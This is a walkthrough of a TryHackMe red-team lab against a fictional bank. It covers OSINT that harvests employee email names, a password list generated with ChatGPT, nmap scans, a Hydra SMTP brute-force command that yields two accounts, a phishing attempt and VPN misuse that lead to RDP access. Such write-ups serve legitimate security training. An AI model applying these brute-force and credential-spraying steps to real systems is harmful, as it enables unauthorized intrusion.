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1. About me

TryHackMe Username: azkrath
Linkedin: https://www.linkedin.com/in/f%C3%A1bio-m-75308594/

Bio: Currently an application security engineer and penetration tester, I've been working in Cyber
Security for the past 4 years. | have been working in IT for over 18 years now and have worked in several
different fields of IT (IT Technician, Technical Support Operator, Product Support Engineer, Consultant,
Software Engineer and Architect, Security Analyst, Pentester/Lead Pentester). Love hacking, computers
and all things technology related.



2. The Challenge

The Red Team Capstone Challenge is an in-depth network challenge simulating a Red Teaming
engagement. The challenge includes several phases that will require you to enumerate a perimeter,
breach the organization, perform lateral movement and, finally, perform goal execution to show impact,
by performing a fraudulent transaction. To best simulate how these engagements usually occur, there
are multiple paths that can be used to achieve the final goal.

This is my write-up of the challenge, following a specific path in order to compromise the infrastructure
and achieve goal execution.

2.1. Project Goal

The purpose of this assessment is to evaluate whether it is possible to compromise the corporate
division and, if so, determine if that allows the compromise of the bank division.

In order to perform the fraudulent transaction, two test banking accounts will be supplied, in order to
demonstrate if it is possible to transfer funds between these two accounts, by gaining access to SWIFT,
the core backend banking system in place.

The Swift backend exposes an internal web application at http://swift.bank.thereserve.loc, which can be
used to perform the transactions. To transfer funds, the following flow is provided:

A customer makes a request that funds should be transferred and receives a transfer code.
The customer contacts the bank and provides this transfer code.
An employee with the capturer role authenticates to the SWIFT application and captures the
transfer.

e An employee with the approver role reviews the transfer details and, if verified, approves the
transfer. This must be performed from a jump host.

e Once approval for the transfer is received by the SWIFT network, the transfer is facilitated, and
the customer is notified.

2.2. Project Scope
In-Scope

® Security testing of TheReserve's internal and external networks, including all IP ranges accessible
through your VPN connection.

e OSINTing of TheReserve's corporate website, which is exposed on the external network of
TheReserve. Note, this means that all OSINT activities should be limited to the provided network
subnet and no external internet OSINTing is required.

Phishing of any of the employees of TheReserve.

Attacking the mailboxes of TheReserve employees on the WebMail host (.11).

Using any attack methods to complete the goal of performing the transaction between the
provided accounts.


https://tryhackme.com/room/redteamcapstonechallenge
http://swift.bank.thereserve.loc

Out-of-Scope

Security testing of any sites not hosted on the network.
Security testing of the TryHackMe VPN (.250) and scoring servers or attempts to attack any other
user connected to the network.

® Any security testing on the WebMail server (.11) that alters the mail server configuration or its
underlying infrastructure.
Attacking the mailboxes of other red teamers on the WebMail portal (.11).
External (internet) OSINT gathering.
Attacking any hosts outside of the provided subnet range. Once you have completed the
questions below, your subnet will be displayed in the network diagram. This 10.200.X.0/24
network is the only in-scope network for this challenge.

e Conducting DoS attacks or any attack that renders the network inoperable for other users.

2.3. Project Registration

All red teamers participating in the challenge must register to allow their single point of contact for the
engagement to track activities. An email account for communication with the system will also be
provided.

To register, you will need to SSH into the e-citizen platform, located at 10.200.XXX.250, where XXX is your
assigned subnet at the beginning of the room.

Once you authenticate, you will be able to communicate with the e-Citizen system. Follow the prompts
to register for the challenge and save the information you get for future reference. Once registered,
follow the instructions to verify that you have access to all the relevant systems.

The VPN server and the e-Citizen platform are not in scope for this assessment, and any security testing
of these systems may lead to a ban from the challenge.

As you make your way through the network, you will need to prove your compromises. In order to do
that, you will be requested to perform specific steps on the host that you have compromised. Please
note the hostnames in the network diagram above, as you will need this information. Flags can only be
accessed from matching hosts, so even if you have higher access, you will need to lower your access to
the specific host required to submit the flag.

2.4. Project Tools
Several tools are provided that might be useful for the exercise. My take on this challenge was to try to
only use the assigned tools or living-of-the-land tools and techniques when possible, minimizing the
necessity of external tools like metasploit, msfvenom and other frameworks.

A list of Password policies, a password base list and the restriction of special characters were also
provided in the challenge.



3. Preparation

Network state:

Figure 1 - Initial network map

After reading the Project Brief and Answering the questions, we are presented with the initial network
map, showing us 3 different machines.

We start by adding the IP addresses in our hosts file, so that we can resolve hostnames even if we
change subnets (if the subnet changes, for whatever reason, we can just update the hosts file with the
new subnet assigned):

10.200.118.250 ecitizen.thm
10.200.118.11 mail.thereserve.loc

10.200.118.12 vpn.thereserve.loc
10.200.118.13  web.thereserve.loc

Figure 2 - Updating /etc/hosts

Downloading the Capstone Challenge resources, we get two files regarding password policies in use and
a base list of passwords. We also get a list of common tools to use against the challenge. These resources
might come in handy later in the challenge.

Afterwards, we set up our process at the e-citizen communication portal, using the provided SSH details,
and registered our account. This portal will be used to prove the compromises by performing specific
steps on the hosts compromised.

What would you like to do?
Please select an option
[1] Submit proof of compromise

[2] verify past compromises
[3] Verify email access

[4] Get hints

[5] Exit

Figure 3 - E-Citizen Portal



4. OSINT

4.1. http://web.thereserve.loc
OSINT, short for Open-Source Intelligence, is a process designed to gather information from public
sources and can be performed on a technical form (technologies, versions, etc) and a human form
(number of employees, email schema, account name structure, etc). This process is usually incorporated
in Passive Reconnaissance and allows us to gather information about our target.

Since the scope indicates that OSINT can only be performed on the corporate website, it might be a good
place to start our enumeration process.

We start by checking the three servers identified, and perform some enumeration on the web server:

O @ web.thereserve.loc/octoberfindex.php

TheReserve Overview

TheReserve

Welcome to TheReserve, Trimento's finest in public and prive

= banking! How can we help you?

Overview

TheReserve is the reserve bank of Trimento. We aim to serve both the country by providing stability to the public banking sector, but also through our corporate

division serve investors from foreign countries. We believe that a stable currency leads to a stable country, and centre all we do around this belief.

Trimento

Trimento welcome those from other countries looking for something different. Trimento offers a digital nomadship programme that allows those that meet the pre-
requisites to join our country and embrace a different lifestyle! No need for cubicles and the old nine to five. Why not work from your own private villa locking out

over our crips beaches? Why not use your lunch break for a safari ride? Why not chose working hours that suits you and enjoy you leisure time exploring our world

reknown markets? This lifestyle can be yours with the support of TheReserve!

Figure 4 - Initial page on the Web application

We notice that there is a navigator menu on the top with the tabs “Overview”, “Meet the Team” and
“ContactUs”. Since we are gathering information, the “Meet the Team” page might give us some useful
information regarding the employees of the organization, the team’s structure, roles, and email
addresses:



O & web.thereserve.loc/october/index.php/demof/meettheteam

Brenda Henderson

Deputy Directors

Leslie Morley and Martin Savage

Corporate Executives

FEAIDAIA SO (Chrictanhart CTA M Antamd CAMOICharlanal and COO (Bhaoe)

Figure 5 — Meet the Team

By performing client source code inspection on the images, we can see that we have a path for the team
images, and the images identify the user’s name:

<img src="/foctober/themes/demo/assets/images/brenda.henderson.jpeq” width="28@0" height="2@@">

Figure 6 - Client source code inspection

By accessing the path identified (/october/themes/demo/assets/images/) we can see that a vulnerability
of directory listing exists, allowing us to get all the names associated with images.



¢4 web.thereserve.loc//october/themes/demo/assets/images/

Index of /october/themes/demo/assets/images

Name Last modified Size Description
& Parent Directory -
antony.ross.jpeq 2023-02-18 20:17 445K
ashley.chan jpeg 2023-02-18 20:17 429K

brenda.henderson.jpeg 2023-02-18 20:17 462K
charlene.thomas.jpeg 2023-02-18 20:17 472K
christopher.smith.jpeg 2023-02-18 20:17 435K

emily.harvey.jpeg 2023-02-18 20:17 446K
keith.allen.jpeg 2023-02-18 20:17 406K
laura.wood.jpeg 2023-02-18 20:17 560K
leslie.morley.jpeg 2023-02-18 20:17 462K
lynda.gordon.jpeg 2023-02-18 20:17 510K

martin.savage.jpeq 2023-02-18 20:18 435K
mohammad.ahmed.jpeq 2023-02-18 20:22 423K

[#] october.pn 2023-02-18 19:25 34K
october.png 2023-02-18 19:25 34K
paula.bailey.jpeqg 2023-02-18 20:17 501K
rhys.parsons.jpeg 2023-02-18 20:17 478K
roy.sims.jpeg 2023-02-18 20:17 435K

theme-preview.png 2023-02-15 06:28 40K

Apache/2.4.29 (Ubuntu) Server at web.thereserve.loc Port 80

Figure 7 — Names of users as image name

One of the risks associated with this image naming is that there is a strong chance that those names are
using the same nomenclature as their corporate email addresses. By looking at the “ContactUs” page, we
can see that we can send our CV and other type of documents to applications@corp.thereserve.loc
address. This information disclosures the domain used in corporate emails, which allows us to compile a
potential list of usernames:

antony.ross@corp.thereserve.loc
ashley.chan@corp.thereserve.loc
brenda.henderson@corp.thereserve.loc
charlene.thomas@corp.thereserve.loc

. ith@
emily.harvey@corp.thereserve.loc
keith.allen@corp.thereserve.loc

roy.sims@corp.thereserve.loc

laura.wood@corp.thereserve.loc
leslie.morley@corp.thereserve.loc
lynda.gordon@corp.thereserve.loc
martin.savage@corp.thereserve.loc
mohammad.ahmed@corp.thereserve.loc
paula.bailey@corp.thereserve.loc
rhys.parsons@corp.thereserve.loc

Since we also have the password policy and base list, we can start to compile a potential list of
passwords to use against some service or authentication form, later on. Although it is possible to use
several tools to perform this operation (like crunch), we can just ask ChatGPT to generate a list of
passwords by using the password base list and adding a rule including the password policy. Since we are
trying to simplify the process, we can use the following prompt:


mailto:applications@corp.thereserve.loc
mailto:antony.ross@corp.thereserve.loc
mailto:ashley.chan@corp.thereserve.loc
mailto:brenda.henderson@corp.thereserve.loc
mailto:charlene.thomas@corp.thereserve.loc
mailto:christopher.smith@corp.thereserve.loc
mailto:emily.harvey@corp.thereserve.loc
mailto:keith.allen@corp.thereserve.loc
mailto:laura.wood@corp.thereserve.loc
mailto:leslie.morley@corp.thereserve.loc
mailto:lynda.gordon@corp.thereserve.loc
mailto:martin.savage@corp.thereserve.loc
mailto:mohammad.ahmed@corp.thereserve.loc
mailto:paula.bailey@corp.thereserve.loc
mailto:rhys.parsons@corp.thereserve.loc
mailto:roy.sims@corp.thereserve.loc

can you generate a list of passwords based on the following password list? Append numbers

and the following special characters only: '@#$%" and the passwords should have between
8 and 10 characters. Here is the list:
TheReserve

thereserve

Reserve

reserve

CorpTheReserve

corpthereserve

Password

password

TheReserveBank

thereservebank

ReserveBank

reservebank

Figure 8 - Request to ChatGPT to generate a combo list of passwords

With this prompt we manage to generate about 660 different passwords that we might use laterin a
Brute Force, Password Spray or Credential Stuffing attack.

Using a plugin for the browser called Wappalyzer, we can check on the technologies used by the server,
including their versions (if available):

TECHNOLOGIES MORE INFO ¥ Export
CMS Programming languages
{ October CMS shp  PHP
Web frameworks Operating systems
Laravel &) Ubuntu
Web servers JavaScript libraries
& ﬂw 2429 \_'\: j{)uery_ 1.11.1
Server
Ul frameworks
& Bootstrap 337
Something_wrong_or missing?
L= 4

Figure 9 - Technologies used in the Web Server



This information can be useful in order to check for exploits or known vulnerabilities for the technologies
and their versions, which might help us achieve a compromise of the server. Although this information
can be manually obtained from HTTP headers, Source Code inspection or URL paths, the plugin allows us
to get that information way faster, which is important in an engagement.

While navigating through the website, we also manage to identify the info.php, located at

http://web.thereserve.loc/info.php, which can provide us with more information regarding the
technologies in use, internal directories, and configurations:

‘php

System Linux ip-10-200-52-13 5.4.0-1101-aws #109~18.04.1-Ubuntu SMP Mon Apr 24 20:40:49 UTC 2023
%86_64

Build Date Feb 23 2023 13:29:25

Server API Apache 2.0 Handler

Virtual Directory Support

disabled

Configuration File (php.ini) Path

fetc/php/7.2/apache2

Loaded Configuration File

Jetc/php/7.2/apache2/php.ini

Scan this dir for additional .ini files

Jetc/php/7.2/apache2/conf.d

Additional .ini files parsed

fetc/php/7.2/apache2/conf.d/10-mysqind.ini, /etc/php/7.2/apache2/conf.d/10-opcache.ini, /etc/php
/7.2/apache2/conf.d/10-pdo.ini, fetc/php/7.2/apache2/conf.d/15-xml.ini, fetc/php/7.2/apache2/conf.d
J20-calendar.ini, /etc/php/7.2/apache2/conf.d/20-ctype.ini, /etc/php/7.2/apache2/conf.d/20-curl.ini,
Jetc/php/7.2/apache2/conf.d/20-dom.ini. Jetc/php/7.2/apache2/conf.d/20-exif.ini. fetc/php
/7.2/apache2/conf.d/20-fileinfo.ini, Jetc/php/7.2/apache2/conf.d/20-ftp.ini, fetc/php/7.2/apache2
Jeonf.df20-gd.ini, fetc/php/7.2/apache2/cenf.d/20-gettext.ini, fetc/php/7.2/apache2/conf.dj20-
iconv.ini, fetc/phpf7.2/apache2/conf.df20-json.ini, /etc/php/7.2/apache2/conf.df20-mbstring.ini,
Jetc/php/7.2/apache2/conf.d/20-mysqli.ini, /etc/php/7.2/apache2/conf.d/20-pde_mysql.ini, /etc/php
/7.2/apache2/conf.d/20-pdo_sqlite.ini. fetc/php/7.2/apache2/conf.d/20-phar.ini. /etc/php/7.2/apache2
Jconf.df20-posix.ini, fetc/php/7.2/apache2/conf.d/20-readline.ini, /etc/php/7.2/apache2/conf.df20-
shmop.ini, /etc/php/7.2/apache2/conf.d/20-simplexml.ini. fetc/php/7.2/apache2/conf.d/20-sockets.ini,
fetc/php/7.2/apache2/conf.d/20-sqlite3.ini, /etc/php/7.2/apache2/conf.df20-sysvmsg.ini, fetc/php
/7.2/apache2/conf.d/20-sysvse fetc/php/7.2/apache2/conf.d/20-sysvshm.ini, fetc/php
/7.2/apache2/conf.d/20-tokenizer.ini. fetc/php/7.2/apache2/conf.d/20-wddx.ini. fetc/php/7.2/apache2
Jeonf.df20-xmireader.ini, fetc/php/7.2/apache2/conf.d/20-xmlwriter.ini, /etc/php/7.2/apache2/conf.d
/20-xsl.ini, /etc/php/7.2/apache2/conf.d/20-zip.ini

PHP API 20170718
PHP Extension 20170718
Zend Extension 320170718

Zend Extension Build

API320170718,NTS

PHP Extension Build

API20170718,NTS

Debug Build no

Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled

Zend Multibyte Support

provided by mbstring

IPv6 Support

enabled

Figure 10 - info.php at web.thereserve.loc



http://web.thereserve.loc/info.php

4.2. http://vpn.thereserve.loc
Accessing the VPN server, a login page is presented, which requires an internal (corporate) account. This
might be a good location to try to brute force our way in. By testing different endpoints, we manage to
find /vpn and /vpns, where the first one provides us with a .ovpn template file:

thereserve.loc/vpn

Index of /vpn

Name Last modified Size Description

& Parent Directory _
[# corpUsername.ovpn 2023-05-04 18:15 8.1K

Apache/2.4.29 (Ubuntu) Server at vpn.thereserve.loc Port 80

Figure 11 - Template .ovpn file

By looking into the file, we can see two relevant fields, the remote, which has a 10.200.X.X IP address
and the Subject CN, which usually identifies the user which the certificate is assigned to, with a value of
“temp4”.

remote-cert-tls server
auth SHA512
data-ciphers AES-256-CBC
key-direction 1

y

Not Before: Feb 15 18
Not After : Feb 12 18:35:52 2033 GMT
Subject: CN=temp4

Figure 13 - Subject CN defined as temp4



This means that the file might not be useful to connect to an internal network without modifications, like
defining the remote IP correctly and adding the username to the CN field.



4.3. http://mail.thereserve.loc

Accessing the hostname defined for the mail page, we get a server error with an HTTP Status Code 403 —
Forbidden:

| r' gl

td mail.thereserve.loc

\J/

Server Error

403 - Forbidden: Access is denied.

You do not have permission to view this directory or page using the credentials that you supplied.

Figure 14 - Server error: 403 Forbidden

However, checking the IP address, we get a default IIS page, which means that we might need the correct
path in order to access the email application:

B8 Windows Server

Internet Information Services

Welcome Bienvenue Tervetuloa

£3c% Benvenuto ¥

( 3 b" Bienvenido Hos geldiniz | o'nan o212

Bem-vindo L
KoAwg Jo6po
Vitejte OploorTe v rnen Ef | noxanosare | Udvozoljiik

Ls e RriD

Microsoft Willkommen |[Welkemmen

Figure 15 - Default IIS page

By checking the related technologies of the webpage, we manage to identify that the web server is using
the RoundCube webmail server software, which is Open Source. By searching for the application, we can
find the GitHub repository at https://github.com/roundcube/roundcubemail. The Wappalyzer also
identifies other technologies in use:



https://github.com/roundcube/roundcubemail

TECHNOLOGIES MORE INFO * Export

Web servers Webmail

B! 1S 100 & RoundCube

Programming languages JavaScript libraries

php  PHP 7433 \&  jQuery 3541
jQuery Ul 1.131

Operating systems

B Windows Server Ul frameworks

& Bootstrap 453

Something_wrong_or missing?

Figure 16 - Identified Technologies, including RoundCube

As we can see, the server is not only using RoundCube, but it is also using PHP. Looking into the GitHub
repository, it is possible to identify that there is a main index.php page, which redirects us to the default
login application page, which might give us another target for a brute force attack:

O A& mail.thereserve.loc/index.php

Figure 17 - Login page of RoundCube Webmail Application



5. Perimeter Breach

So far, we have gathered a lot of useful information from our OSINT research, by passive means or just
browsing normally. Alongside the identified technologies and versions, we manage to compile a list of
potential usernames and passwords. Now we need to identify a point of failure and get inside the
perimeter.

We start by doing some active enumeration of the 3 servers, using the NMAP scanner:

Nmap scan report for web.thereserve.loc (10.200.118.13)
Host is up (@.087s latency).

Not shown: 998 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu@.7 (Ubuntu Linux; protocol 2.8@)
| ssh-hostkey:

| 2048 2952270f7edea361b6529f740b5addob (RSA)

| 256 13de6f0641b48a0f55fb743d7a34c743 (ECDSA)

|_ 256 25eal6d7d48f17acd6cfas67f455699d (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

| _http-title: Site doesn't have a title (text/html).

| _http-server-header: Apache/2.4.29 (Ubuntu)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.76 seconds

Figure 18 - Port and Service scan using nmap (web.thereserve.loc)

Nmap scan report for vpn.thereserve.loc (10.200.118.12)

Host is up (@.1@0s latency).

Not shown: 998 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu®.5 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:

2048 dSacc871e300145ff9bbeag825d969977 (RSA)

256 batefbfdlle7c0405bb5dd@1c9c56b6a (ECDSA)

256 9c27d9a4da33ed8d71776b484a947588 (ED25519)
p/tcp open http Apache httpd 2.4.29 ((Ubuntu))
_http-server-header: Apache/2.4.29 (Ubuntu)

http-title: VPN Request Portal
Service Info: 0S5: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds

Figure 19 - Port and Service scan using nmap (vpn.thereserve.loc)

We use the flags -sC (running default scripts) and -sV (performing version detection, as well as -Pn
(disable host discovery, or also known as ping scanning, considering the hosts alive).

As we can see from the first 2 results, we only have the HTTP and SSH ports available. For now, we are
not going to try to perform a brute force attack on SSH, so let’s scan the third host.



map scan repor c
ost is up (0.11s latency).
ot shown: 989 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
p2/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
2048 f36c52d27fe90@elcclc7ac962cdlec2d (RSA)
256 c2563cedc4b@69a8e7ad3c310505e985 (ECDSA)
256 d3e5f07375d520d9cObb4199e7afa000 (ED25519)
open smtp hMailserver smtpd
| smtp-commands: MAIL, SIZE 20480000, AUTH LOGIN, HELP
_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
B open http Microsoft IIS httpd 10.0
| _http-server-header: Microsoft-I15/10.0
| _http-title: 403 - Forbidden: Access is denied.
| http-methods:
|_ Potentially risky methods: TRACE
open pop3 hMailServer pop3d
_pop3-capabilities: UIDL TOP USER
open  mMSrpc Microsoft Windows RPC
open netbios-ssn  Microsoft Windows netbios-ssn
open imap hMailServer imapd
| _imap-capabilities: IDLE NAMESPACE CHILDREN QUOTA IMAP4 completed CAPABILITY IMAP4revl RIGHTS=texkA00@1 ACL OK SORT
45/tcp open microsoft-ds?
open smtp hMailserver smtpd
| smtp-commands: MAIL, SIZE 20480000, AUTH LOGIN, HELP
_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3306/tcp open mysql MySQL 8.0.31
| _ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.@.31_Auto_Generated_Server_Certificate
| Not valid before: 2023-01-10T07:46:11
| _Not valid after: 2033-01-07T07:46:11
| mysql-info:
| Protocol: 10
| Version: 8.0.31
| Thread ID: 1316
| Capabilities flags: 65535
| Some Capabilities: LongColumnFlag, IgnoreSigpipes, ConnectWithDatabase, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthd
sis, Speaks41ProtocolOld, SupportsTransactions, SupportsCompression, InteractiveClient, SwitchToSSLAfterHandshake, LongPag
sword, Support4lAuth, FoundRows, ODBCClient, SupportsLoadDatalocal, DontAllowDatabaseTableColumn, SupportsMultipleResults,
SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| salt: \x11\xeB \x01Cku{\x17H[ 9*%mnal
| \xe5
|_ Auth Plugin Name: caching_sha2_password
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MAIL.thereserve.loc
| Not valid before: 2023-01-09T06:02:42
| _Not valid after: 2023-07-11T06:02:42
| _ssl-date: 2023-05-18T22:51:39+00:00; -1s from scanner time.
| rdp-ntlm-info:
Target_Name: THERESERVE
NetBIOS_Domain_Name: THERESERVE
NetBIOS_Computer_Name: MAIL
DNS_Domain_Name: thereserve.loc
DNS_Computer_Name: MAIL.thereserve.loc
DNS_Tree_Name: thereserve.loc
Product_Version: 10.0.17763
System_Time: 2023-05-18T22:51:30+00:00
service Info: Host: MAIL; 0S: Windows; CPE: cpe:/o:microsoft:windows

Figure 20 - Port and Service scan using nmap (mail.thereserve.loc)

On the mail server, we have a lot of open ports and services. Although we have several interesting
services available, let’s set up a brute force attempt at the SMPT service with Hydra, while looking for
exploits for MySQL 8.0.31 (since according to Snyk database, there should be around 39 CVEs associated
with versions <8.0.33 and <8.0.32). The following command was used:

hydra -L users.txt -P potential_passwords.txt mail.thereserve.loc smtp



After a couple of minutes, Hydra finishes the brute force attempt and returns two user accounts with
their respective password:

, check with a small wordlist first - and stay legal!
DHTH] max 16 tasks p r S€ sks, p0 login tries (1:15/p:66@), ~619 tries per task
DATA] attac =
STATUS] 1406. ries,/mi ' rie , 8494 to do in 16 active

10 1 host: gin: password:
1L 1 host: gin: password:

[
[
[
[
[sTATUS] 1442. 1 /min, , 9574 to do in 104h, 16 active
[
[
1 of 1 target successfully completed, 2 valid passwords found

Figure 21 - Accounts compromised

With these accounts, we can now try to login into the webmail application, the VPN server (in order to
get a VPN file assigned to the users) and if we are lucky, we might ever have Active Directory credentials
in our hand. So, ignoring the potential MySQL vulnerabilities and checking the webmail, it is possible to
login on both accounts. However, nothing useful is found in the mailboxes:

@ QO A& o mailthereserve.loc/index.php?_task=mail&_mbox=INBOX

laura.wood(@corp.thereserve.loc

Figure 22 - Webmail access

With the webmail access, potential phishing attacks might be possible to perform against the other user
accounts (since it is in scope, we might as well test it). So, we can craft a phishing email, with an
executable payload, and send it to several emails.

After a couple of minutes, we receive several replies, but the payload doesn’t work. We might need a
little bit of work in order to phish the employees or bypass Anti-Virus protection.



Looking into the VPN server, we manage to login and retrieve two .ovpn files. Looking into the files, we
can see that the VPN server is defined in the remote field, and the user is defined in the Subject CN. We
modify the remote field to the hostname vpn.thereserve.loc, allowing us to control the host through our
entry in the hosts file (and preventing us from having to download the files again if, for some reason, we
change subnets).

Trying to connect with the .ovpn file from the user laura.wood, we get a connection-reset and a restart:

Initialization Sequence Completed
Data Channel: cipher 'AES-256-CBC', auth 'SHA512', peer-id: @
Timers: ping 5, ping-restart 120

Connection reset, restarting [0]
SIGUSR1[soft,connection-reset] received, process restarting
Restart pause, 1 second(s)

Figure 23 - Soft connection reset

This might imply that someone else is using the connection, as usually happens in a realistic
engagement, since users might be using the connection during the working day for remote work. Luckily,
the mohammad.ahmed connection seems to work just fine and after connecting, we check out network
configuration and routes:

dev capstone proto kernel scope link src
via dev capstone metric 1000
via dev tun® metric 1000

via dev tun® metric 1000
dev tun@ proto kernel scope link src

Figure 24 - Two new routes lead to new machines (10.200.x.21 and 10.200.x.22)

Another potential vulnerability identified in the VPN server is that the user field can be modified, which
allows us to request a VPN file for any user. It might be worth it if for some reason someone else decides
to use the mohammad.ahmed user’s connection file as well.

Let’s add the 2 machines to our hosts files, under wrkl.corp.thereserv.loc and wrk2.corp.thereserve.loc
host names, and start Nmap scans against both machines (since they are not responding to ICMP
requests, we need to make sure that our scans use the -Pn flag, to skip host discovery and consider it
alive/online).

ecitizen.thm
mail.thereserve.loc
vpn.thereserve.loc

web. thereserve.loc
WRK1.corp.thereserve.loc wrkl.corp.thereserve.loc
WRK2.corp.thereserve.loc wrk2.corp.thereserve.loc

Figure 25 - New entries in hosts file



Nmap scan report for WRK1.corp.thereserve.loc (10.200.118.21)
Host is up (0.13s latency).

Not shown: 995 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenS5H for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:

| 2048 2178e279d393eef9aa7094ec@1b3a58f (RSA)

| 256 edf7b667c993b5740f0a83ffef55¢c89a (ECDSA)

|_ 256 bd830ce3b44f78f2e34a52033ca5ce58 (ED25519)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

3380/tcp open ms-wbt-server Microsoft Terminal Services

| _ssl-date: 2023-05-19T22:53:15+00:@0; +1s from scanner time.
| ssl-cert: Subject: commonName=WRK1.corp.thereserve.loc

| Not valid before: 2023-81-09T05:17:03

| _Not valid after: 2023-87-11T05:17:03

| rdp-ntlm-info:

| Target_Name: CORP

| NetBIOS_Domain_Name: CORP

| NetBIOS_Computer_Name: WRK1

| DNS_Domain_Name: corp.thereserve.loc

| DNS_Computer_Name: WRK1.corp.thereserve.loc

| DNS_Tree_Name: thereserve.loc

| Product_Version: 10.0.17763

|_ System_Time: 2023-05-19T22:52:35+00:00

Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Figure 26 - Nmap scan of WRK1

Nmap scan report for WRK2.corp.thereserve.loc (10.200.118.22)
Host is up (@.12s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp  open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 e6fefb5b24286813daddc55f674ebesf (RSA)
| 256 93f58f4c3115fc8e38033ed5b71cedd3 (ECDSA)
|_ 256 563f8a33a41fdcl19aal67a67df87618 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: CORP
NetBIOS_Domain_Name: CORP
NetBIOS_Computer_Name: WRK2
DNS_Domain_Name: corp.thereserve.loc
DNS_Computer_Name: WRKZ2.corp.thereserve.loc
DNS_Tree_Name: thereserve.loc
Product_Version: 10.0.17763
_  System_Time: 2023-05-19T22:58:13+00:00
| _ssl-date: 2023-05-19T22:58:53+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=WRK2.corp.thereserve.loc
| Not valid before: 2023-01-09T05:19:12
| _Not valid after: 2023-07-11T@5:19:12
Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Figure 27 - Nmap scan of WRK2

One interesting fact is that both machines have Remote Desktop Protocol (RDP, port 3389) open, so we
might be able to login with these credentials if they are the same as their Active Directory accounts.



Let’s see if we can find other RDP enabled hosts on the network, using NMAP with the following
command nmap -p3389 -Pn 10.200.XXX.1-254 —open where XXX is our subnet:

Nmap scan report for mail.thereserve.loc (10.200.118.11)
Host is up (@.11s latency).

PORT STATE SERVICE
9/tcp open ms-wbt-server

Nmap scan report for WRK1.corp.thereserve.loc (10.200.118.21)
Host is up (0.20s latency).

PORT STATE SERVICE
9/tcp open ms-wbt-server

Nmap scan report for WRK2.corp.thereserve.loc (10.200.118.22)
Host is up (0.083s latency)

PORT STATE SERVICE
/tcp open ms-wbt-server

Nmap done: 102 IP addresses (102 hosts up) scanned in 52.09 seconds

Figure 28 — Detectable RDP enabled hosts on the network

Let’s see if we can also find HTTP enabled hosts on the network, using NMAP with the following
command nmap -p80,443 -Pn 10.200.XXX.1-254 —open where XXX is our subnet:

Nmap scan report for mail.thereserve.loc (10.200.118.11)
Host is up (0.10s latency).

Not shown: 1 closed tcp port (reset)

PORT  STATE SERVICE

80/tcp open http

Nmap scan t for vpn.thereserve.loc (10.200.118.12)
Host is up (0.076s latency).

Not shown: 1 closed tcp port (reset)

PORT STATE SERVICE

80/tcp open http

Nmap scan report for web.thereserve.loc (10.200.118.13)
Host 1s up (0.076s latency).

Not shown: 1 closed tcp port (reset)

PORT  STATE SERVICE

80/tcp open http

Nmap scan report for 10 118.201
is up (0.042s latency)

STATE SERVICE
open http
open https

Nmap done: 254 IP addresses (254 hosts up) scanned in 206.29 seconds

Figure 29 - Detectable HTTP enabled hosts on the network



After the scan, we can see that a 4" machine has a port 80 and 443 exposed, serving an HTTP/HTTPS
web page. Using the IP in the browser, the web page displays a white background, without any
visualization or errors:

QO & 10.200.118.201

Figure 30 - Website at 10.200.XXX.201

Checking the source code, we can see that it is the address of the Swift Bank web application, through
the static links in the JavaScript code:

O A& 10.200.118.201

to run this app.

Figure 31 - Static links point to the swift.bank.thereserve.loc domain



After adding the hostname to the hosts file, we are now able to access the web application for the Swift
Bank:

O @ swiftbank.thereserve.loc

PIN Confirmation ‘

Bank of
Trimento!

Transfer Money
Securely..

The Reserve Online

@ orscion

Figure 32 - Swift Bank application

We can also run an Nmap scan against the application, to see what ports and services might be open:

Nmap scan report for swift.bank.thereserve.loc (10.200.118.201)
Host is up (0.080s late
Not shown

SERVICE

ssh

sefc2fb5as6did
c578ebb01b46f
256 fa284644bd8fB8ed1a
p/tcp open http
_http-title: The Reserve Online
cp open https
sl-date: TLS randomr
| _http-title te doesn't hav ain; charset=utf-8).
| ssl-cert: jec ommonNam -3 st/stateOrProvinceName=Utah/countryName=US
| Not valid before:
| _Not valid after:
| _http-cors: GET POST DELETE OPTI
| tls-alpn:
| h2
|_ http/1.1

Nmap done: 1 IP address (1 host up) scanned in 5.44 seconds

Figure 33 - Nmap scan of the swift.bank.thereserve.loc web application

It doesn’t appear that we can do anything with the application, for now, since we only have port 22, 80
and 443 available.



Regarding the WRK machines, we can confirm that we are able to login with these credentials in both,
breaching the perimeter successfully:

Recycle Bin

B Command Prompt

ohammad . ahmed>hostname

chammad . ahmed>_

1:10 AM

